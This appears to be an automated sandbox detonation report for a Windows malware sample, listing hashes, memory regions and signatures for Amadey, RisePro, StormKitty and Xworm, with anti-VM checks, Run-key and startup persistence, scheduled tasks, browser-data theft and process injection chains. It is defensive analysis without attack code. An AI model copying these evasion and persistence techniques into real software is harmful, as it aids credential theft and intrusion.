SHA256 c31f87d86dfc2b8bdefa115090a4c8ad2916abd60a720bb236500c19e57af069
SHA512 a3c7b4c6fd1a1432d3111446119eaef633c4bf260ce82e1eaec48c53409cf739bec07bcc2fd81963722caf4934423141d0494514eff050f093d20840b1da398f

C:\Users\Admin\AppData\Local\Temp\360_install_20240513142349_240678718\temp_files\sweeper\SysSweeper.dat

MD5 ebf2fe6dc1b4e8bd82c626db0c176290
SHA1 4cd3f0d7c3f7d8d8c75e45c73a88decf1b222a03
SHA256 312039322f6361a9acc5f93507a41bd617269fec630d41e32f35aa395a593874
SHA512 f9a96d79eba0086b7436d8d8520a6a71d849a95f90b584faa100d8310b92c4ec07c8781732b2834785803158e55d4fb955cca872f0a9fd29375b52c95ab6c86a

C:\Users\Admin\AppData\Local\Temp\360_install_20240513142349_240678718\temp_files\i18n\ru\ipc\appd.dll.locale

MD5 20df8242c5ac9c633c9a7999d5a344d8
SHA1 7f355a45d37a142f3c9852ec4ab5957e01f0534f
SHA256 10696e7ee1bfadefc7df5d3b9ccf7c0de8f8865093244a386b950a5e656b1622
SHA512 77b1ef123a59e1c229400e982fcb95960b8dc5892768f874c68c04c0dfecca356ffef1367f9846373aaaae5ebdc883327699d77a71eee5226e1633c4026a62c3

memory/324-0-0x0000000000F00000-0x0000000001452000-memory.dmp

memory/324-1-0x0000000000F00000-0x0000000001452000-memory.dmp

memory/324-3-0x0000000000F00000-0x0000000001452000-memory.dmp

memory/324-2-0x0000000000F00000-0x0000000001452000-memory.dmp

memory/324-7-0x0000000000F00000-0x0000000001452000-memory.dmp

memory/324-8-0x0000000000F00000-0x0000000001452000-memory.dmp

memory/324-6-0x0000000000F00000-0x0000000001452000-memory.dmp

memory/324-5-0x0000000000F00000-0x0000000001452000-memory.dmp

memory/324-4-0x0000000000F00000-0x0000000001452000-memory.dmp

memory/2096-22-0x0000000000530000-0x0000000000A82000-memory.dmp

memory/2096-23-0x0000000000530000-0x0000000000A82000-memory.dmp

memory/2096-25-0x0000000000530000-0x0000000000A82000-memory.dmp

memory/2096-30-0x0000000000530000-0x0000000000A82000-memory.dmp

memory/2096-29-0x0000000000530000-0x0000000000A82000-memory.dmp

memory/2096-27-0x0000000000530000-0x0000000000A82000-memory.dmp

memory/2096-26-0x0000000000530000-0x0000000000A82000-memory.dmp

memory/2096-28-0x0000000000530000-0x0000000000A82000-memory.dmp

memory/2096-24-0x0000000000530000-0x0000000000A82000-memory.dmp

memory/324-21-0x0000000000F00000-0x0000000001452000-memory.dmp

memory/3316-48-0x0000000000430000-0x00000000008CD000-memory.dmp

memory/3316-49-0x00000000774D4000-0x00000000774D6000-memory.dmp

memory/3316-62-0x0000000000430000-0x00000000008CD000-memory.dmp

memory/2096-63-0x0000000000530000-0x0000000000A82000-memory.dmp

memory/1904-64-0x0000000000EC0000-0x000000000135D000-memory.dmp

memory/4764-83-0x0000000000010000-0x0000000000682000-memory.dmp

memory/4764-85-0x0000000000010000-0x0000000000682000-memory.dmp

memory/4764-84-0x0000000000010000-0x0000000000682000-memory.dmp

memory/4764-86-0x0000000000010000-0x0000000000682000-memory.dmp

memory/4764-87-0x0000000000010000-0x0000000000682000-memory.dmp

memory/4764-88-0x0000000000010000-0x0000000000682000-memory.dmp

memory/4764-90-0x0000000000010000-0x0000000000682000-memory.dmp

memory/4764-89-0x0000000000010000-0x0000000000682000-memory.dmp

memory/4764-91-0x0000000000010000-0x0000000000682000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\360_install_20240513142349_240678718\temp_files\i18n\pt\deepscan\cloudsec3.dll.locale

MD5 8840cbe66ed44f4301bfd1e3ef861821
SHA1 9e9cbb08f57cb281b5862d6fbc124d8c5a6f0246
SHA256 706736c045bca4c059ddbe2980ccf10a41a68a9e2250daf2ecabf9e1b52a90f7
SHA512 b9ebac9092941f39f6ef0b23b16ac0c7c4f995e1fd64b75e919024fd7ecded0590406ab1f05cc25b3429ab67fa969dc3fdde5f3de6544bc2b8ffa773bfaa1be1

memory/1192-107-0x0000000000400000-0x0000000000592000-memory.dmp

memory/4036-143-0x0000000000BF0000-0x0000000000C42000-memory.dmp

memory/4036-144-0x0000000005A40000-0x0000000005FE4000-memory.dmp

memory/4036-145-0x0000000005530000-0x00000000055C2000-memory.dmp

memory/4036-149-0x00000000056C0000-0x00000000056CA000-memory.dmp

memory/2908-147-0x0000000000CE0000-0x0000000000DA0000-memory.dmp

memory/1704-150-0x0000000000840000-0x0000000000841000-memory.dmp

memory/4036-170-0x0000000006170000-0x00000000061E6000-memory.dmp

memory/4824-160-0x0000000000400000-0x0000000000458000-memory.dmp

memory/1704-155-0x0000000000840000-0x0000000000841000-memory.dmp

memory/4824-154-0x0000000000400000-0x0000000000458000-memory.dmp

memory/4036-171-0x0000000006A90000-0x0000000006AAE000-memory.dmp

memory/4036-182-0x00000000071D0000-0x00000000077E8000-memory.dmp

memory/4036-191-0x0000000006C60000-0x0000000006C72000-memory.dmp

memory/4036-195-0x0000000006CC0000-0x0000000006CFC000-memory.dmp

memory/4036-190-0x0000000006D20000-0x0000000006E2A000-memory.dmp

memory/4036-196-0x0000000006E30000-0x0000000006E7C000-memory.dmp

memory/952-197-0x00000000004F0000-0x0000000000542000-memory.dmp

memory/2096-219-0x0000000000530000-0x0000000000A82000-memory.dmp

memory/4848-254-0x0000000000530000-0x0000000000A82000-memory.dmp

memory/4848-246-0x0000000000530000-0x0000000000A82000-memory.dmp

memory/4848-253-0x0000000000530000-0x0000000000A82000-memory.dmp

memory/4848-260-0x0000000000530000-0x0000000000A82000-memory.dmp

memory/4848-257-0x0000000000530000-0x0000000000A82000-memory.dmp

memory/4848-256-0x0000000000530000-0x0000000000A82000-memory.dmp

memory/4848-255-0x0000000000530000-0x0000000000A82000-memory.dmp

memory/1676-252-0x0000000000EC0000-0x000000000135D000-memory.dmp

memory/4764-251-0x0000000000010000-0x0000000000682000-memory.dmp

memory/1904-250-0x0000000000EC0000-0x000000000135D000-memory.dmp

memory/2908-267-0x000000001EB10000-0x000000001EC1A000-memory.dmp

memory/2908-269-0x000000001C640000-0x000000001C67C000-memory.dmp

memory/2908-268-0x000000001C5E0000-0x000000001C5F2000-memory.dmp

memory/4848-294-0x0000000000530000-0x0000000000A82000-memory.dmp

memory/1676-295-0x0000000000EC0000-0x000000000135D000-memory.dmp

memory/4036-307-0x0000000006F70000-0x0000000006FD6000-memory.dmp

memory/1104-312-0x0000000000840000-0x0000000000841000-memory.dmp

memory/4880-313-0x0000000000400000-0x000000000063B000-memory.dmp

memory/2908-314-0x000000001EC20000-0x000000001EC96000-memory.dmp

memory/2908-315-0x000000001BD90000-0x000000001BDAE000-memory.dmp

memory/4880-311-0x0000000000400000-0x000000000063B000-memory.dmp

memory/2908-320-0x000000001FB70000-0x0000000020098000-memory.dmp

memory/2908-319-0x000000001F470000-0x000000001F632000-memory.dmp

memory/4036-318-0x0000000007170000-0x00000000071C0000-memory.dmp

memory/4036-338-0x0000000007AC0000-0x0000000007C82000-memory.dmp

memory/4036-339-0x00000000083C0000-0x00000000088EC000-memory.dmp

memory/4880-341-0x0000000061E00000-0x0000000061EF3000-memory.dmp

memory/1484-377-0x0000000000400000-0x0000000000458000-memory.dmp

memory/4836-376-0x0000000000700000-0x0000000000701000-memory.dmp

memory/1484-375-0x0000000000400000-0x0000000000458000-memory.dmp

memory/5036-474-0x00007FF7AF780000-0x00007FF7AFAC9000-memory.dmp

memory/820-478-0x0000000000400000-0x0000000000408000-memory.dmp

memory/5036-479-0x00007FF7AF780000-0x00007FF7AFAC9000-memory.dmp

memory/3292-561-0x0000000000D50000-0x0000000000D88000-memory.dmp

memory/848-646-0x0000022257FC0000-0x0000022257FE2000-memory.dmp

memory/1904-672-0x0000000000EC0000-0x000000000135D000-memory.dmp

memory/5328-673-0x0000000000340000-0x00000000009AE000-memory.dmp

memory/5540-706-0x0000000000FE0000-0x000000000164E000-memory.dmp

memory/5672-721-0x0000000140000000-0x0000000140A55000-memory.dmp

memory/2320-753-0x00000000049B0000-0x00000000049E6000-memory.dmp

memory/2320-754-0x00000000050F0000-0x0000000005718000-memory.dmp

memory/2320-771-0x0000000005A40000-0x0000000005AA6000-memory.dmp

memory/2320-766-0x0000000005890000-0x00000000058B2000-memory.dmp

memory/2320-772-0x0000000005B90000-0x0000000005EE4000-memory.dmp

memory/2320-781-0x00000000065A0000-0x00000000065EC000-memory.dmp

memory/2320-780-0x0000000005F10000-0x0000000005F2E000-memory.dmp

memory/4832-819-0x0000000000FE0000-0x000000000164E000-memory.dmp

memory/5152-820-0x0000000000FE0000-0x000000000164E000-memory.dmp

memory/5360-822-0x00000000061E0000-0x0000000006534000-memory.dmp

memory/5360-850-0x00000000067E0000-0x000000000682C000-memory.dmp

memory/5360-851-0x00000000079A0000-0x0000000007A36000-memory.dmp

memory/5360-853-0x0000000007900000-0x0000000007922000-memory.dmp

memory/5360-852-0x0000000006CB0000-0x0000000006CCA000-memory.dmp

memory/5456-862-0x0000000004990000-0x0000000004CE4000-memory.dmp

memory/6708-2997-0x00000214EF140000-0x00000214EF15C000-memory.dmp

memory/6708-2998-0x00000214EF160000-0x00000214EF215000-memory.dmp

memory/6708-2999-0x00000214EF130000-0x00000214EF13A000-memory.dmp

memory/6708-3040-0x00000214EF380000-0x00000214EF39C000-memory.dmp

memory/6708-3262-0x00000214EF360000-0x00000214EF36A000-memory.dmp

memory/6708-3281-0x00000214EF3C0000-0x00000214EF3DA000-memory.dmp

memory/6708-3282-0x00000214EF370000-0x00000214EF378000-memory.dmp

memory/6708-3283-0x00000214EF3A0000-0x00000214EF3A6000-memory.dmp

memory/6708-3284-0x00000214EF3B0000-0x00000214EF3BA000-memory.dmp

memory/3716-3330-0x0000000000530000-0x0000000000A82000-memory.dmp

memory/4816-3331-0x0000000000EC0000-0x000000000135D000-memory.dmp

memory/4816-3340-0x0000000000EC0000-0x000000000135D000-memory.dmp

memory/3716-3342-0x0000000000530000-0x0000000000A82000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-13 14:22

Reported

2024-05-13 14:25

Platform

win11-20240426-en

Max time kernel

149s

Max time network

147s

Command Line

"C:\Users\Admin\AppData\Local\Temp\71bb87a3b9150e8951eab42f842a784a8cbb6c6f4556d44d3f814f47dc584d94.exe"

Signatures

Amadey

trojan amadey

Contains code to disable Windows Defender

Description Indicator Process Target
N/A N/A N/A N/A

Detect Xworm Payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

RisePro

stealer risepro

StormKitty

stealer stormkitty

StormKitty payload

Description Indicator Process Target
N/A N/A N/A N/A

Xworm

trojan rat xworm

Identifies VirtualBox via ACPI registry values (likely anti-VM)

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\71bb87a3b9150e8951eab42f842a784a8cbb6c6f4556d44d3f814f47dc584d94.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\1000005001\amers.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\1000006002\b26503bc6d.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\1000005001\amers.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\1000006002\b26503bc6d.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\1000006002\b26503bc6d.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\71bb87a3b9150e8951eab42f842a784a8cbb6c6f4556d44d3f814f47dc584d94.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\71bb87a3b9150e8951eab42f842a784a8cbb6c6f4556d44d3f814f47dc584d94.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\1000005001\amers.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\taskmgr.lnk C:\Users\Admin\AppData\Local\Temp\1000024001\taskmgr.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\taskmgr.lnk C:\Users\Admin\AppData\Local\Temp\1000024001\taskmgr.exe N/A

Identifies Wine through registry keys

evasion
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3938118698-2964058152-2337880935-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\1000005001\amers.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3938118698-2964058152-2337880935-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3938118698-2964058152-2337880935-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3938118698-2964058152-2337880935-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3938118698-2964058152-2337880935-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A

Reads user/profile data of web browsers

spyware stealer

Themida packer

themida
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3938118698-2964058152-2337880935-1000\Software\Microsoft\Windows\CurrentVersion\Run\b26503bc6d.exe = "C:\\Users\\Admin\\1000006002\\b26503bc6d.exe" C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3938118698-2964058152-2337880935-1000\Software\Microsoft\Windows\CurrentVersion\Run\taskmgr = "C:\\ProgramData\\taskmgr.exe" C:\Users\Admin\AppData\Local\Temp\1000024001\taskmgr.exe N/A

Checks whether UAC is enabled

evasion trojan
Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\AppData\Local\Temp\71bb87a3b9150e8951eab42f842a784a8cbb6c6f4556d44d3f814f47dc584d94.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\1000006002\b26503bc6d.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\Tasks\explorku.job C:\Users\Admin\AppData\Local\Temp\71bb87a3b9150e8951eab42f842a784a8cbb6c6f4556d44d3f814f47dc584d94.exe N/A
File created C:\Windows\Tasks\axplons.job C:\Users\Admin\AppData\Local\Temp\1000005001\amers.exe N/A

Enumerates physical storage devices

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\System32\schtasks.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3938118698-2964058152-2337880935-1000_Classes\Local Settings C:\Users\Admin\AppData\Local\Temp\1000024001\taskmgr.exe N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000024001\taskmgr.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000005001\amers.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000005001\amers.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000024001\taskmgr.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000024001\taskmgr.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\1000024001\taskmgr.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\1000024001\taskmgr.exe N/A
Token: SeDebugPrivilege N/A C:\ProgramData\taskmgr.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\ProgramData\taskmgr.exe N/A
Token: SeDebugPrivilege N/A C:\ProgramData\taskmgr.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000024001\taskmgr.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3672 wrote to memory of 2580 N/A C:\Users\Admin\AppData\Local\Temp\71bb87a3b9150e8951eab42f842a784a8cbb6c6f4556d44d3f814f47dc584d94.exe C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
PID 3672 wrote to memory of 2580 N/A C:\Users\Admin\AppData\Local\Temp\71bb87a3b9150e8951eab42f842a784a8cbb6c6f4556d44d3f814f47dc584d94.exe C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
PID 3672 wrote to memory of 2580 N/A C:\Users\Admin\AppData\Local\Temp\71bb87a3b9150e8951eab42f842a784a8cbb6c6f4556d44d3f814f47dc584d94.exe C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
PID 2580 wrote to memory of 2872 N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
PID 2580 wrote to memory of 2872 N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
PID 2580 wrote to memory of 2872 N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
PID 2580 wrote to memory of 4976 N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe C:\Users\Admin\AppData\Local\Temp\1000005001\amers.exe
PID 2580 wrote to memory of 4976 N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe C:\Users\Admin\AppData\Local\Temp\1000005001\amers.exe
PID 2580 wrote to memory of 4976 N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe C:\Users\Admin\AppData\Local\Temp\1000005001\amers.exe
PID 4976 wrote to memory of 3348 N/A C:\Users\Admin\AppData\Local\Temp\1000005001\amers.exe C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
PID 4976 wrote to memory of 3348 N/A C:\Users\Admin\AppData\Local\Temp\1000005001\amers.exe C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
PID 4976 wrote to memory of 3348 N/A C:\Users\Admin\AppData\Local\Temp\1000005001\amers.exe C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
PID 2580 wrote to memory of 2308 N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe C:\Users\Admin\1000006002\b26503bc6d.exe
PID 2580 wrote to memory of 2308 N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe C:\Users\Admin\1000006002\b26503bc6d.exe
PID 2580 wrote to memory of 2308 N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe C:\Users\Admin\1000006002\b26503bc6d.exe
PID 3348 wrote to memory of 3016 N/A C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe C:\Users\Admin\AppData\Local\Temp\1000024001\taskmgr.exe
PID 3348 wrote to memory of 3016 N/A C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe C:\Users\Admin\AppData\Local\Temp\1000024001\taskmgr.exe
PID 3016 wrote to memory of 2360 N/A C:\Users\Admin\AppData\Local\Temp\1000024001\taskmgr.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3016 wrote to memory of 2360 N/A C:\Users\Admin\AppData\Local\Temp\1000024001\taskmgr.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3016 wrote to memory of 3200 N/A C:\Users\Admin\AppData\Local\Temp\1000024001\taskmgr.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3016 wrote to memory of 3200 N/A C:\Users\Admin\AppData\Local\Temp\1000024001\taskmgr.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3016 wrote to memory of 2228 N/A C:\Users\Admin\AppData\Local\Temp\1000024001\taskmgr.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3016 wrote to memory of 2228 N/A C:\Users\Admin\AppData\Local\Temp\1000024001\taskmgr.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3016 wrote to memory of 3984 N/A C:\Users\Admin\AppData\Local\Temp\1000024001\taskmgr.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3016 wrote to memory of 3984 N/A C:\Users\Admin\AppData\Local\Temp\1000024001\taskmgr.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3016 wrote to memory of 1304 N/A C:\Users\Admin\AppData\Local\Temp\1000024001\taskmgr.exe C:\Windows\System32\schtasks.exe
